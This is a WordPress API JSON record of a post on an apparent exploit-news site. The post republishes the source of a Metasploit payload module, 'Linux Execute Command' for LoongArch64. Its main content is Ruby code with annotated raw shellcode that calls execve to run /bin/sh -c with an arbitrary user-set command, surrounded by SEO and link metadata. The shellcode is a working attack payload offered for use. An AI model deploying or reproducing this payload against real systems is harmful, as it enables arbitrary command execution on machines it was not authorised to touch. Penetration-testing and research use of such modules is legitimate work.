{"id":66989,"date":"2026-06-29T15:51:28","date_gmt":"2026-06-29T15:51:28","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=66989"},"modified":"2026-06-29T15:51:28","modified_gmt":"2026-06-29T15:51:28","slug":"linux-execute-command","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=66989","title":{"rendered":"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-29T19:36:56&#8243;,&#8221;description&#8221;:&#8221;Execute an arbitrary command. Module Options msf use payload\/linux\/loongarch64\/exec msf payloadexec show actions &#8230;actions&#8230; msf payloadexec set ACTION msf payloadexec show options &#8230;show and set options&#8230; msf payloadexec run&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-29T19:04:43&#8243;,&#8221;modified&#8221;:&#8221;2026-06-29T19:04:43&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Linux Execute Command&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;# frozen_string_literal: true\\n\\n##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nmodule MetasploitModule\\n  CachedSize = 88\\n\\n  include Msf::Payload::Single\\n  include Msf::Payload::Linux\\n\\n  def initialize(info = {})\\n    super(\\n      merge_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Linux Execute Command&#8217;,\\n        &#8216;Description&#8217; =\\u003e &#8216;Execute an arbitrary command.&#8217;,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;modexp&#8217;, # cmd.s execve RISC-V 64-bit shellcode\\n          &#8216;bcoles&#8217;, # LoongArch64 port and metasploit module\\n        ],\\n        &#8216;License&#8217; =\\u003e BSD_LICENSE,\\n        &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;,\\n        &#8216;Arch&#8217; =\\u003e ARCH_LOONGARCH64,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;URL&#8217;, &#8216;https:\/\/modexp.wordpress.com\/2022\/05\/02\/shellcode-risc-v-linux\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/bcoles\/shellcode\/blob\/main\/loongarch64\/cmd\/cmd.s&#8217;],\\n        ]\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;CMD&#8217;, [ true, &#8216;The command string to execute&#8217; ]),\\n    ])\\n  end\\n\\n  #\\n  # Returns the command string to use for execution\\n  #\\n  def command_string\\n    datastore[&#8216;CMD&#8217;] || &#8221;\\n  end\\n\\n  def generate(_opts = {})\\n    shellcode = [\\n      0x02ff0063,  # addi.d $sp, $sp, -64\\n      0x0383740b,  # ori $a7, $zero, 221           # __NR_execve\\n      0x14dcd2c4,  # lu12i.w $a0, 452246\\n      0x0388bc84,  # ori $a0, $a0, 0x22f\\n      0x170e65e4,  # lu32i.d $a0, -494801\\n      0x03001884,  # lu52i.d $a0, $a0, 6           # $a0 = 0x0068732f6e69622f = \\&#8221;\/bin\/sh\\\\0\\&#8221;\\n      0x29c00064,  # st.d $a0, $sp, 0              # store \\&#8221;\/bin\/sh\\\\0\\&#8221; on the stack\\n      0x00150064,  # or $a0, $sp, $zero            # $a0 = pointer to \\&#8221;\/bin\/sh\\&#8221;\\n      0x140000c5,  # lu12i.w $a1, 6\\n      0x038cb4a5,  # ori $a1,$a1, 0x32d            # $a1 = 0x632d = \\&#8221;-c\\\\0\\&#8221;\\n      0x29c02065,  # st.d $a1,  $sp, 8             # store \\&#8221;-c\\\\0\\&#8221; on the stack\\n      0x02c02065,  # addi.d $a1, $sp, 8            # $a1 = pointer to \\&#8221;-c\\&#8221;\\n      0x18000106,  # pcaddi $a2, 8                 # $a2 = pointer to cmd string\\n      0x29c04064,  # st.d $a0, $sp, 16             # argv[0] = \\&#8221;\/bin\/sh\\&#8221;\\n      0x29c06065,  # st.d $a1, $sp, 24             # argv[1] = \\&#8221;-c\\&#8221;\\n      0x29c08066,  # st.d $a2, $sp, 32             # argv[2] = cmd\\n      0x29c0a060,  # st.d $zero, $sp, 40           # argv[3] = NULL\\n      0x02c04065,  # addi.d $a1, $sp, 16           # $a1 = argv\\n      0x00150006,  # or $a2, $zero, $zero          # $a2 = NULL (envp)\\n      0x002b0101,  # syscall 0x101\\n    ].pack(&#8216;V*&#8217;)\\n    shellcode += command_string + \\&#8221;\\\\x00\\&#8221;.b\\n\\n    # align our shellcode to 4 bytes\\n    shellcode += \\&#8221;\\\\x00\\&#8221;.b while shellcode.bytesize % 4 != 0\\n\\n    super.to_s + shellcode\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/payloads\/singles\/linux\/loongarch64\/exec.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/payload\/linux\/loongarch64\/exec\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-29T19:36:56&#8243;,&#8221;description&#8221;:&#8221;Execute an arbitrary command. Module Options msf use payload\/linux\/loongarch64\/exec msf payloadexec show actions &#8230;actions&#8230; msf payloadexec set ACTION msf payloadexec show options &#8230;show and set&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-66989","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=66989\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-29T19:36:56&#8243;,&#8221;description&#8221;:&#8221;Execute an arbitrary command. Module Options msf use payload\/linux\/loongarch64\/exec msf payloadexec show actions &#8230;actions&#8230; msf payloadexec set ACTION msf payloadexec show options &#8230;show and set...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=66989\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-29T15:51:28+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=66989#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=66989\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC-\",\"datePublished\":\"2026-06-29T15:51:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=66989\"},\"wordCount\":550,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=66989#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=66989\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=66989\",\"name\":\"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-29T15:51:28+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=66989#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=66989\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=66989#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=66989","og_locale":"en_US","og_type":"article","og_title":"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-29T19:36:56&#8243;,&#8221;description&#8221;:&#8221;Execute an arbitrary command. Module Options msf use payload\/linux\/loongarch64\/exec msf payloadexec show actions &#8230;actions&#8230; msf payloadexec set ACTION msf payloadexec show options &#8230;show and set...","og_url":"https:\/\/zero.redgem.net\/?p=66989","og_site_name":"zero redgem","article_published_time":"2026-06-29T15:51:28+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=66989#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=66989"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC-","datePublished":"2026-06-29T15:51:28+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=66989"},"wordCount":550,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=66989#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=66989","url":"https:\/\/zero.redgem.net\/?p=66989","name":"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-29T15:51:28+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=66989#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=66989"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=66989#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Linux Execute Command_MSF:PAYLOAD-LINUX-LOONGARCH64-EXEC-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/66989","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=66989"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/66989\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=66989"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=66989"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=66989"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}